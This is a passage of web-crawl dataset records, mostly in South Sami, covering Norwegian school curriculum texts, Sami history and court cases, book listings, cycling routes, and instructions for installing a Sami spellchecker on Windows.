leah, mij reaktoe jïh mij båastode.\nMej aamhtesi bïjre soptsestæjja soptseste jïh guktemeslaakan soptseste aaj tsavtsasåvva mehtie kultuvreste jïh siebriedahkeste dah dåastojh mejtie sæjhta jaksedh. Soptsestæjja jïh dåastojh sinsitniem buerebe guarkah jis seamma kultuvresne. Dah mah joekehts kultuvrine veasoeminie maahta eevre joekehtslaakan dam seammam guarkedh. Joekehtsh aaj kultuvri gaskem mij soptsesåvva, jïh mij ij soptsesovvh.\nJeenebe-låhkoen jïh unne-låhkoen siebriedahke\nJeenebe-låhkoen almetjh jeatjahlaakan ussjedieh goh unnebe-låhkoen almetjh. Aalkoe-almetjh aaj jeatjah jielemh jïh aerpievuekien maahtoeh utnieh goh dah mah stoere siebriedahkesne. Åarjel-saemien dajvesne saemieh jïh laedtieh guhkiem baalte-årrojh orreme, læjhkan eah sinsitnine dan damtoes. Almetjh stoere siebriedahkesne ovmessie veanhtoeh jallh stereotypijh saemiej bïjre utnieh. Dah mah rïektes saemieh, dah leah båatsoe-saemieh Finnmaarhkesne mah joejkeminie jïh saemesteminie. Dah saemien vaarjojne fïerhten biejjien gåårveldahkesne jïh låavth-gåetesne årroeminie. Båatsoe-saemieh vaeresne darjoeh gaajhkem guktie sijhtieh, dah skovterh, motovre-sygkelh jïh ATV:h vuejieh gaajhkene lehkesne. Daagkerh stereotypijh jïjnjemes aejkien båastode, jïh barre onn-ohtje dejstie mah saatnan.\nÅarjel-saemien dajvesne saemieh leah vaenie, mah bårrode årroeminie. Ibie mijjieh dan våajnoes jallh govloes stoere daaroen siebriedahkesne. Daebpene åarjene aaj jïjnjemes aejkien vååjnoe goh saemien aamhtesh jïh saemien reaktah leah dåeriesmoerh stoere siebriedahkese. Jïjnjemes aejkien gosse båatsoen bïjre medijisnie, dellie negatijve vuajnoen mietie. Nimhtie vååjnoe goh saemien jielemh vuajnasuvvieh goh geajnoen åvtesne stoere siebriedahken darjomi vööste, goh bïegke-jårrehtsh, mineraale-kråatskemh, geajnoe-bigkemh, skovtere-geajnoeh, hæhtjoeh, j.v.\nStoere siebriedahke\nStoere siebriedahkesne eah almetjh dan jïjnjem saemiej bïjre daejrieh. Eah skuvline dah learohkh åadtjoeh gænnah man jïjnjem saemiej jïh saemien histovrijen bïjre lïeredh. Mohte mijjese jeatjahlaakan, daaroen histovrije, siebriedahke, gïele jïh kultuvre saemide damtoes. Dan bïjre jïjnjem daejrebe juktie dovne daaroen jïh saemien siebriedahkesne jïh byjresisnie veasoeminie. Seamma skuvline jïh jïjnjemes seamma faagh utnebe goh dah jeatjebh. Gellien aejkien maahta domtedh goh gööktene veartanisnie veasoeminie, jïh ij leah dïhte iktegisth aelhkie.\nDellie vihkele eensilaakan gïehtjedidh, guktie mijjieh maehtebe saemien kultuvrem, siebriedahkem jïh identiteetem saemien lidteratuvresne gaavnedh. Jis learohkh åadtjoeh saemien lidteratuvrem lohkedh skuvlesne learoehkidie viehkehte positijve jïjtje-guvviem jïh jearsoes identiteetem evtiedidh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/nb\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:8bfb17e8-b081-476d-8e00-49f219ef5de3\/topic:2:6b2d1ccd-f72c-4f6a-bd36-ced187523dba\/resource:ed68ebd2-7be5-44c4-bfb7-85b3f5171a50","date":"2023-09-22T08:18:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506339.10\/warc\/CC-MAIN-20230922070214-20230922100214-00002.warc.gz","language":"sma","language_score":1.0000056028,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000056028366089}","num_words":543,"character_repetition_ratio":0.083,"word_repetition_ratio":0.011,"special_characters_ratio":0.14,"stopwords_ratio":0.166,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jump to navigation\nSaemien kultuvregoerkese maanagïertesne jïh skuvlesne\nSaemien lohkemejarnge daesnie muvhth darjomh raereste Saemiej åålmegebiejjien gaavhtan.\nMijjieh biejjielåhkoem 2023 åarjelsaemiengïelesne dorjeme. Biejjielåhkoe saemien saevegebiejjieh vuesehte jïh maahtah jïjtje guvvieh bïejedh.\nSaemien lohkemejarnge jåvlebiejjielåhkoem adventese 2022 dorjeme. Mijjieh fïerhten biejjien gyhtjelassem bæjhkoehtibie. Gåarede meatan årrodh jïh dovne noerhte-, julev- jïh åarjelsaemiengïelesne vaestiedidh.\n© 2014 Centre for Sámi Language in Education - Sámi University College, all rights reserved\nTilgjengelighetserklæring\nPersonvernerklæring\nDeveloped by: Ramsalt","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/lohkanguovddas.no\/sma","date":"2023-10-03T17:07:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511170.92\/warc\/CC-MAIN-20231003160453-20231003190453-00289.warc.gz","language":"sma","language_score":0.9999108315,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999910831451416}","num_words":67,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne goerehtimmiem veeljh daej sisnjeli\nDatne lïerh\nJearohke dov faageveeljemijstie\n- musihkem tjoejehtidh, oktegh jïh mubpiejgujmie\n- daanhtsoevuekieh, daanhtsoeteknihkh jïh koreografije\n- dorjehtæjjateknihkh, bïhkedimmie jïh teatereproduksjovne\n- dov tjiehpeles tjiehpiesvoeth guhkiebasse evtiedidh\n- teorijefaagh\nDatne byörh\nJearohke dov goerehtimmeste:\n- musihkales jïh væjkele årrodh laavlodh jallh instrumeentem tjoejehtidh\n- væjkele årrodh aktene såarhts daanhtsosne\n- ïedtjem utnedh råållah spïeledh jïh scenesne tjåadtjodh\n- astoem utnedh jïjnjem haarjanidh, oktegh jïh mubpiejgujmie ektine, skuvletïjjen jïh skuvletïjjen ålkolen\n- kreatijve årrodh\nRaajan akte bielie Jåa2-learoehkijstie sïjse vaaltasåvva tsaekemepryöven jallh dokumenteereme tjiehpiesvoeti gaavhtan.\nDatne åadtjoeh\n- studijemaahtoem jïh maahtah jollebe ööhpehtimmiem vaeltedh\nJis jollebe ööhpehtimmiem vaaltah, maahtah gaskem jeatjah sjïdtedh\n- daanhtsoje, koreograafe jallh daanhtsoepedagoge\n- laavloje, musihkepedagoge jallh musihketerapeevte\n- dorjehtæjja, scenograafe jallh draamaturge\nMaahtah aaj ööhpehtimmiem vaeltedh jeatjah barkojde – sïejhme studijemaahtojne maahtah dejtie jeanatjommes studijidie ohtsedh jïlleskuvline jïh universiteetine.\nBarkoesijjieh maehtieh årrodh\n- teaterh jallh operagåetieh\n- orkesterh, konsertescenah jallh baante\n- skiemtjehïejmh jallh skuvlh\nTsaekemekrïevenassh jollebe ööhpehtæmman\nSïejhme studijemaahtojne maahta dejtie jeanatjommes studijidie ohtsedh jïlleskuvline jïh universiteetine. Men såemies studijh sjïere tsaekemekrïevenassh utnieh:\n- Tsaekemepryövh: Gellie tjeahpoefaageles studijh daanhtsoen, draaman jallh musihken sisnjeli aktem praktihkeles tsaekemepryövem krievieh. Daanhtsojne, draamine jallh musihkine aktem hijven våaromem åadtjoeh dagkerh tsaekemepryövh tjïrrehtidh.\n- Real-faagekrïevenassh: Såemies studijh krievieh dov leah vihties realfaagh. Dah studijh maehtieh årrodh insjenööre-, realfaage- jïh medisijnen studijh. Datne tsaekemekrïevenasside jïlleskuvle- jïh universiteetestudijidie gaavnh daesnie samordnaopptak.no. Musihke, daanhtsoe jïh draamesne maahta geerve årrodh sijjiem åadtjodh tæjmoesoejkesjisnie gaajhkh realfaagh veeljedh mejtie daarpesjh. Gïehtjh dov skuvline mejtie dah maehtieh datnem dejtie realfaagide faalehtidh mejtie sïjhth vaeltedh.\nValg av fag i utdanningsprogram for musikk, dans og drama\n- Tre programfag kan du velge selv, ett på Vg1, ett på Vg2 og ett på Vg3.\n- De valgfrie programfagene kan være videre spesialisering innen dans, drama eller musikk og\/eller fag fra et annet programområde i studieforberedende utdanningsprogram (for eksempel realfag eller fremmedspråk).\n- Det er opp til skolen din hvilke programfag som tilbys.\n- Hadde du ikke fremmedspråk på ungdomstrinnet? Da må du ta fremmedspråk som fellesfag på Vg3 istedenfor ett av de to valgfrie programfagene på Vg3.\n- Har du spesielle framtidsdrømmer? Da bør du sjekke opptakskravene til studiene, før du velger fag.\n- Programfag i fremmedspråk og realfag gir tilleggspoeng ved opptak til høyere utdanning.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/musihke-daanhtsoe-jih-draama\/program\/v.md","date":"2023-12-05T16:24:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100551.2\/warc\/CC-MAIN-20231205140836-20231205170836-00104.warc.gz","language":"sma","language_score":0.9999021292,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999021291732788}","num_words":345,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.046,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaajhkh faagh edtjieh viehkiehtidh lïerehtimmien aarvoevåaromem realiseeredh. Faage edtja sjugneden prosessi tjïrrh learoehkidie dïrregh vedtedh visuellelaakan gaskesadtedh, dam ovnohkens dåastodh, åssjalommesh evtiedidh jïh meatan årrodh kultuvre- jïh seabradahkeevtiedimmesne. Barkoen tjïrrh ovmessie vætnoeaerpievuekiejgujmie jïh tjeahpoevuekiejgujmie jååhkesjimmiem jïjtse jïh mubpiej duedteste åådtje. Faage edtja viehkiehtidh guktie learohkh identiteetem, buektemelastoem jïh ektiedimmiem evtiedieh, jïh tsiehkiem almetji jïh ovmessie byjresi gaskem våajnoes darjodh. Gosse learohkh jïjtse kultuvresne jïh veljie visuelle jïh veartenevijries kultuvreaerpine goerehtieh, dah ektie referaansemierieh jïh toleraansem kulturelle gellievoetese sjugniedieh. Learohkh edtjieh dååjrehtimmiem saemien jïh nöörjen tjeahpojne, hammojne jïh vætnojne åadtjodh. Daajroe jïh dååjrehtimmie tjeahpoe- jïh vætnoeaerpievuekiejgujmie jïh immaterijelle kultuvrine våaromem vadta kultuvreaerpiem reeredh jïh guhkiebasse evtiedidh, jïh sijjen byjresh vaarjelidh. Learoesoejkesje lea vïedteldihkie saemien aarvojne jïh saemien gïelesne, kultuvresne jïh seabradahkejieliedisnie.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/khv02-02\/om-faget\/fagets-relevans-og-verdier?lang=sma","date":"2023-12-08T01:39:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100710.22\/warc\/CC-MAIN-20231208013411-20231208043411-00356.warc.gz","language":"sma","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000088214874268}","num_words":120,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.118,"stopwords_ratio":0.192,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem vuesiehtieh jïh evtiedieh KRJE-faagesne 5., 6.jïh 7.b. daltesisnie gosse religijovnh jïh jieledevuajnoeh goerehtieh jïh guarkoeh, jïh eksistensijelle jïh etihkeles gyhtjelassi bijjeli ussjededtieh Maahtoe jæjhta gosse learohkh daajroem vuesiehtieh guktie religijovnh jïh jieledevuajnoeh leah meatan histovrijes prosessine nasjonaale. Learohkh aaj maahtoem vuesiehtieh jïh evtiedieh gosse vihkeles baakoetjïerth faagesne nuhtjieh. Dah aaj maahtoem vuesiehtieh jïh evtiedieh gosse soptsestalleminie jïh mïelejuekieminie jïjtsh mïelh buektieh. jïh vuesiehtieh dah maehtieh joekehts perspektijvh vaeltedh.\nLohkehtæjja edtja sjïehteladtedh guktie learohkh leah meatan jïh lïeremelastose skreejrehtidh viehkine njaalmeldh, tjaaleldh jïh digitaale barkoevuekijste faagine. Lohkehtæjja jïh learohkh edtjieh learohki evtiedimmien bïjre KRJE-faagesne soptsestalledh. Learohkh edtjieh nuepiem åadtjodh pryövedh. Dan maahtoen mietie maam learohkh vuesiehtieh, edtjieh nuepiem åadtjodh baakoeh bïejedh dïsse maam dååjroeh sijjieh buektiehtieh, jïh maam buerebelaakan buektiehtieh goh aarebi. Lohkehtæjja edtja dan guhkiebasse lïeremen bïjre bïhkedidh jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedassem nuhtjedh sov daajroem evtiedidh kristelesvoeten, jeatjah religijovni, jieledevuajnoej jïh etihken bïjre.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/rle02-03\/kompetansemaal-og-vurdering\/kv174?lang=sma","date":"2023-12-08T18:33:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100769.54\/warc\/CC-MAIN-20231208180539-20231208210539-00160.warc.gz","language":"sma","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000090599060059}","num_words":157,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.159,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Turi, Johan Bertije Sámi kompania Vaadtasovvemejaepie 1988 Faage Saemien 1 Saemien histovrije jïh siebriedahke Daltese 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele ISBN 9186604112 Formaate Sïejhme gærja Reakta-aajhtere Sámi kompania Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 207 Aamhtesh Aerpiemaahtoe Njaalmeldh kultuvre Eatnemelearoe Saepmie Histovrije Saemien histovrije Kultuvre Litteratuvre Religiovne Aalkoeåålmegi jaahkoe","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/ovttas.no\/sma\/node\/7964","date":"2023-12-04T00:55:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100518.73\/warc\/CC-MAIN-20231203225036-20231204015036-00012.warc.gz","language":"sma","language_score":0.9989330173,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9989330172538757}","num_words":47,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Learohkh edtjieh dååjredh mïelem vadta tjaaleldh tjiehpiesvoeth evtiedidh jïh teeksth sjugniedidh jïh tjaaleldh gaskesadtedh. Learohkh edtjieh maehtedh tjaaleldh buektemevuekieh veeljedh, aajkoen, teeman, sisvegen jïh dåastojen mietie. Dah edtjieh maehtedh jïjtsh jïh mubpiej teeksth vuarjasjidh, jïh maehtedh sijjen teeksth mubpiej bïevnesi mietie bueriedidh. Dah edtjieh maehtedh tjaeledh viehkine digitaale dïrregijstie, jïh funksjonelle gïetetjaelieminie. Learohkh edtjieh maahtoem evtiedidh maereles digitaale gïele- jïh gaskesadtemeteknologijem veeljedh jïh nuhtjedh juktie teeksth sjugniedidh, dovne oktegh jïh mubpiejgujmie ektine.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/sfs01-05\/om-faget\/kjerneelementer?lang=sma","date":"2024-02-25T18:08:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474641.34\/warc\/CC-MAIN-20240225171204-20240225201204-00549.warc.gz","language":"sma","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000009536743164}","num_words":72,"character_repetition_ratio":0.113,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Learohkh edtjieh teeksth lohkedh juktie dååjredh, ïedtjem åadtjodh, onterdidh, jïh daajroem åadtjodh almetji åssjaldahki jïh jielede-eaktoej bïjre. Learohkh edtjieh dååjrehtidh jïjtsh maadtoe jïh saemien kultuvre vihkele sjidtieh barkosne teekstigujmie. Faaghe nöörjen learoehkidie saemiengïeline voestesgïeline akten vijriedamme tekstebaakoetjïertese bigkie. Daate sæjhta jiehtedh learohkh edtjieh teeksth lohkedh jïh dååjredh ovmessie buektemehammoejgujmie. Dah edtjieh tjiehpieslidteratuvrem jïh aamhteseprovsam goerehtidh jïh dej bijjeli ussjedadtedh mah leah tjaalasovveme nöörjengïelesne, jïh teekstine mah leah jarkoestamme saemiengïeleste jïh jeatjah gïelijste. Learohkh edtjieh såemies teeksth lohkedh dennie gïelesne man sisnie eah lïerehtimmiem utnieh. Maahta teekstide dovne akten kultuvrehistovrijes konteekstese ektiedidh jïh learohki ektietïjjese jïh kultuvremaadtose.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/nor03-04\/om-faget\/kjerneelementer?lang=sma","date":"2024-02-24T13:48:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474533.12\/warc\/CC-MAIN-20240224112548-20240224142548-00017.warc.gz","language":"sma","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000094175338745}","num_words":96,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mubpiedehteme\nMubpiedehteme baakojde, dahkojde jïh prosesside vuesehte mah såemies indivijdh biejieh goh \"doh mubpieh\", goh naakenh mah eah leah \"mijjieh\/mijjem\". Mubpiedehteme lea bijjemes daajehtse juktie ovmessie såarhts intoleraansh guarkedh, goh tjïertevidtjie, sexisme, homofobije, sïerredimmie saemijste jïh jeatjah. Lissine mubpiedehteme maahta åtnasovvedh ovmessie mekanismi bïjre ålkoestæmman, åvtelhaarvoej jïh ussjedimmievuekiej raejeste mikroaggresjovnen jïh sïerredimmien raajan.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dembra.no\/sma\/fagtekster-og-publikasjoner\/begreper\/mubpiedehteme","date":"2024-02-29T19:23:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474852.83\/warc\/CC-MAIN-20240229170737-20240229200737-00881.warc.gz","language":"sma","language_score":0.9999433756,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999433755874634}","num_words":53,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.17,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Riasten jïh Gauldalen bæjjadahke. Jaepien 1877 Paul Johnsenen sïjte reaktese steebnesovvi krïevenassine maaksoen bïjre gåatomeskaaraj åvteste mejtie bovtse lij dorjeme sïetereïentjine, gåatome- jïh sleejemedajvine miehtjesne sijjine Gauldalen, Killingdalen, Søosen jïh Riasten. Aamhtese gïetesovvi gaajhkine reaktasuerkine jïh gellie jaepieh veesi. Jollereakta dåapmoem böökti aamhtesisnie jaepien 1892, seamma jaepien goh Lappekommisjovne sov barkoem böökti. Dellie Yngvar Nielsen lij sov teorijine båateme saemiej \"tjihtedimmien bïjre åarjese\". Daan teorijen gaavhtan saemieh åtnoereaktam dajvine dassin. Jollereakta Nielsenen teorijem våaroemasse bïeji gosse dåapmoe jeahtasovvi. Paul Johnsenen sïjte aamhtesem dassi.\nKuråsen, Molingdalen og Gjeltsjøen. 28 dajve-aajhterh Aursunden lïhke reakta-aamhtesem tseegki jienebi båatsoesaemiej vööste. Dah bagkehtin saemieh idtjin gåatomereaktam utnieh dajve-aajhteri eekine miehtjesne Kuråsesne jïh Aursunden noerhtelisnie. Båatsoesaemieh göökte reaktainstansine teehpin, men Paul Johnsen jïh Lars Holm leejhtin Jollereaktese. Jollereakta Yngvar Nielsenen teorijem våaroemasse bïeji gosse sov dåapmoem böökti 1897: \"Jeg finder overensstemmende med, hvad der er antaget i Voteringen i den af mig nys nævnte Sag i Retst. For 1892, at maatte gaa ud fra, at det ikke forholder sig, som tidligere ofte har været antaget, at Lapperne i disse Strøg skulde være de oprindelige Beboere, som af Nordmændene efterhaanden trænges tilbage. Meget mere maa jeg antage, at Bønderne her har havt sine Slaattemarker og sin Sæterdrift, før Lapperne ialfald med nogen Stadighed optraadte i Trakten.\"\nGauldalsvidda. Gauldalen guevtielisnie bovtsigujmie gïehtelamme joekehts baeliej. Vïelletjeguaktah John jïh Martin Jonassen mah juhtigan Ledalen gåajkoe Holtålesne sov krievvine gïjren 1899, lin doh minngemes mah dennie dajvesne gïehtelin. Dah varke vuastalimmiem dååjrin. Gauldalen guevtele idtji båatsoesïjtine sjïdth 1894, jïh jaepien 1901 jienebh tjïelth nænnoestin nihtedh låemties bovtsigujmie gïehtelidh. Martin Jonassen såemies vielie jaepieh gïehteli, men jaepien 1911 jallese krievvine juhti.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/rorosmuseet.no\/aamhtesh","date":"2024-04-24T10:29:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296819089.82\/warc\/CC-MAIN-20240424080812-20240424110812-00155.warc.gz","language":"sma","language_score":0.9988151789,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9988151788711548}","num_words":260,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.046,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Beskrivelse\nBarkoegærja åarjelsaemiengïelesne.\nDaate barkoegærja sån viehkine dutnjien maahta årrodh gosse edtjh kasusi bïjre lïeredh.\nGærja sjeahta dovne maadth- jïh noerebealan-skuvlen learoehkidie, voestes- jïh mubpiengïelen lohkehtæmman.\nFïerhten kasusem buerkiestamme guktie jåhta jïh fïerhten kasusasse lïerehtimmieh, jïehtegi- jïh lohkeme-boelhketjigujmie.\nLære-og arbeidsbok på sørsamisk.\nDette er en lære- og arbeidsbok som omhandler de åtte kasus som finnes i sørsamisk. For hver kasus finnes det eksempel på to- og trestavelses substantiver med forklaringer, meninger og lesetekster med tilhørende arbeidsoppgaver.\nBoka er skrevet helt på sørsamisk og passer kanskje fremst elever i grunnskolen som leser samisk som første eller andre språk. Boka kan også være til god hjelp på høgre nivå for de som vil lære seg hvordan kasus fungerer i sørsamisk.\nBoka er utviklet etter initiativ av Elgå skole.\nMadeleine Renhuvud har illustrert boken.\n_____________________\nSig-Britt Persson:\nDåeredh Daarhvem kasusi bïjre lïeredh.\nDaate barkoegærja edtja viehkine learohkidie årrodh gosse kasush lïeredh. Kasush joekoen vihkeles jis edtja saemien guarkedh jïh lïeredh. Barkoegærja sjeahta dovne maadth- jïh noerebealan skuvlide, voestes- jïh mubpiengïelen lohkehtæmman. Ij barkoegærjan naan buerkiestimmie lohkehtæjjide, juktie fïerhten kasusasse jïh lïerehtæmman vuesiehtamme maam darjodh. Golmelïhtsi-substantijvide ij man gellie lïerehtimmieh. Desnie barre vuesiehtamme guktie dïhte mubpien jïh gåalmeden vokaale sjædta jïh guktie dej gietjieh. Læjhkan lohkehtæjjah byöroeh dejtie kasusidie learoehkidie åvtelbodti buerkiestidh.\nBarkoegærjan åssjalommesh Elgåen skuvlen ektine evtiedamme, lohkehtæjjine Krïhke Rensberg jïh Elin Fjellheim ektine. Joekoen buerie viehkiem jïh raeriem aaj åådtjeme lohkehtæjjeste Liv Karin Joma.\nManne vaajtelem daate barkoegærja viehkine dutnjien sjædta gosse kasusi bïjre lïeredh.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.dat.net\/product\/daarhve-jih-dah-kasush-2022\/","date":"2024-04-17T21:50:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817181.55\/warc\/CC-MAIN-20240417204934-20240417234934-00607.warc.gz","language":"sma","language_score":0.9958902597,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9958902597427368}","num_words":242,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n1994\nGiele\nISBN\n8273742318\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n188\nDaaroen vadtaldahke gærjeste Muitalusat ja máidnasat Mátta-Várjjagis.\nDaan gærjan gellie vaajesh jïh heamturh Mátta-Várjjagistie jïh jeatjah saemiendajvijste. Lohkebe dovne reaveri, tjuvriej jïh nåejtiej bïjre. Gærjesne jeatjah aaj soptsesh mah saemien seabradahkejieliemasse, jielemevuajnose jïh histovrijes deahpadimmide veadtaldahkesne. Daate daaroen vadtaldahke annetje vijrebe noerhtesaemiengærjeste, man nomme Muitalusat ja máidnasat Mátta-Várjjagis.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/girji_eventyr-og-sagn-fra-sor-varanger","date":"2024-04-14T08:28:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816875.61\/warc\/CC-MAIN-20240414064633-20240414094633-00741.warc.gz","language":"sma","language_score":0.9993306398,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9993306398391724}","num_words":64,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Skarvan jïh Roltdalen åålmegemiehtjesne sygkeldidh\nIj leah luhpie sygkeldidh åålmegemiehtjien sisnjelen. Dajvesne jïjnjh pluevieh jïh hiejjies laanth jïh dannasinie sygkeldimmie ij sjïehth. Luhpie sygkeldidh geajnojne jïh laajrojne mejtie sjïehtedamme sygkeldæmman.\nÅålmegemiehtjien ålkoeraedtesne jïjnjh skåajjegeajnoeh gusnie murreds sygkeldidh.\nGeajnoeh gusnie maahta sygkeldidh:\nStordalen Meråkerisnie: Daate akte hijven tuvre gusnie maahta Gilså jienemehaevtien jïh Bjørneggen Turistehæhtjoen gåajkoe sygkeldidh.\nSon-jaevrie Skierdesne: Daate lea akte dejstie tjaangemesijjijste åålmegemeahtjan jïh diekie lea hijven sygkeldidh. E14 luvhtie lea 14 km tjøødtjestsæjjan bïjlide, jïh daesnie maahta tjøødtjestidh jallh abpe Ytre Son-jaevrien gåajkoe sygkeldidh.\nSelbu-Flora: RV 705 lea Nea-jeanoen aalkesth, bene jis veeljie Nean åarjelraedtesne sygkeldidh dle akte hijven tuvre sjædta, dovne asfaltesne, saedtesne jallh tjearrageajnosne. Daate laajroe lea 25 km, jïh daestie maahta sygkeldidh Tydalen jïh Rørosen gåajkoe.\nAlmetje mij lea meatan Pilegrimsrittesne. Guvvie: Vemund Gjertsen","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/midtnorsknatur.no\/se-NO\/SkarvanRoltdalen\/Turist\/UtendorsAktiviteter\/Sykling.aspx?p=1","date":"2013-05-19T06:03:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696383508\/warc\/CC-MAIN-20130516092623-00024-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":0.999976635,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.999976634979248}","num_words":126,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.151,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guktie sijjiedehtedh jih utnedh programmem Windows:sne\nDivvunem veedtjedh\nVeedtjh http:\/\/www.divvun.no\/static_files\/DivvunInstaller.exe jallh dænghkodh CD Saemiedigkeste, tel: +47 78 48 42 22.\nGuktie sijjiedehtedh programmem Windows:se\nBïejh CD:m jallh diedtieh vïedtjemesvaalhtesem - dïhte sijjiedehtemeprograamme dellie jïjtje aalka\n1. Veeljh sijjiedehtemegïelem,dam gïelem maam åtnah gosse edtjh sijjiedehtedh programmem:\n2. Gosse programmem sijjiedehtedh, diedtieh båaloem Installera .\n3.Gosse orrijidh dam sijjiedehtemem, diedtieh dellieFullför båaloem:\nDellie lea sijjiedahteme.\nGuktie maehtedh Windows:sne saemien tjaeledh\n1. Jis edtjh buektiehtidh noerhtesaemien baakoejgujmie tjaeledh tjoeverh dellie veeljedhKontrollpanelen.Desnie 